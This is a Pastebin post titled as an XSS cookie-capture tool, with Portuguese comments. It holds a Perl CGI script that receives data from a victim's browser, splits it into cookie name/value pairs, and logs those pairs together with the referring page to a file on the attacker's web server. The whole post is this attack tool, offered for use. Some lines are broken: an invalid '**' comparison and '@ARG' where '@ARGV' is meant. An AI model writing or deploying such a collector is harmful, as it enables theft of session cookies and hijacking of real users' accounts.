DarkProgrammer000

Xss [capturar cookie]

Jul 9th, 2021 (edited)
81
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. # Capturando data
  4. chomp($DATE = `date`);
  5.  
  6. # Log do diretório
  7. $dir = "/var/www/html/lodgir";
  8.  
  9. # Log de arquivo
  10. $file = "$dir/log.txt";
  11.  
  12. # Teste HTML de um browser
  13. print "Content-type: text/html\n\n";
  14.  
  15. # Abertura de arquivo LOG
  16. open(LOG,">>$file");
  17.  
  18. # Coletando dados HTML (POST)
  19. &getDATA;
  20.  
  21. # Fechando arquivo LOG
  22. close(LOG);
  23.  
  24. sub getDATA
  25. {
  26.     # Coloque Dados POST dentro da variavel
  27.     if ($ENV{'QUERY_STRING'} ne **)
  28.     {
  29.         $buffer = $ENV{'QUERY_STRING'};
  30.     }
  31.    
  32.     elsif($ENV{'CONTENT_LENGTH'} ne **)
  33.     {
  34.         # Leitura
  35.         read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  36.     }
  37.    
  38.     elsif($#ARG > -1)
  39.     {
  40.         chomp($buffer = $ARG[0]);
  41.     }
  42.    
  43.     @pairs = split(/;%20/, $buffer);
  44.    
  45.     print "--------------------------------------------------------<BR>\n";
  46.     print LOG "--------------------------------------------------------\n";
  47.    
  48.     $HTTP_REFERER = $ENV{'HTTP_REFERER'};
  49.     print "HTTP_REFERER: $HTTP_REFERER<BR>\n";
  50.     print LOG "HTTP_REFERER: $HTTP_REFERER\n";
  51.    
  52.     # Enumeracao
  53.     foreach $pair (@pairs)
  54.     {
  55.         ($name, $value) = split(/=/, $pair);
  56.        
  57.         $value =~ tr/+/ /;
  58.         $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  59.        
  60.         $FORM{$name} = $value;
  61.        
  62.         print "DATE: $DATE; NAME: $name;VALUE: $value<BR>\n";
  63.         print LOG "DATE: $DATE; NAME: $name; VALUE; $value\n";
  64.     }
  65.    
  66.     print "--------------------------------------------------------<BR>\n";
  67.     print LOG "--------------------------------------------------------\n";
  68. }
RAW Paste Data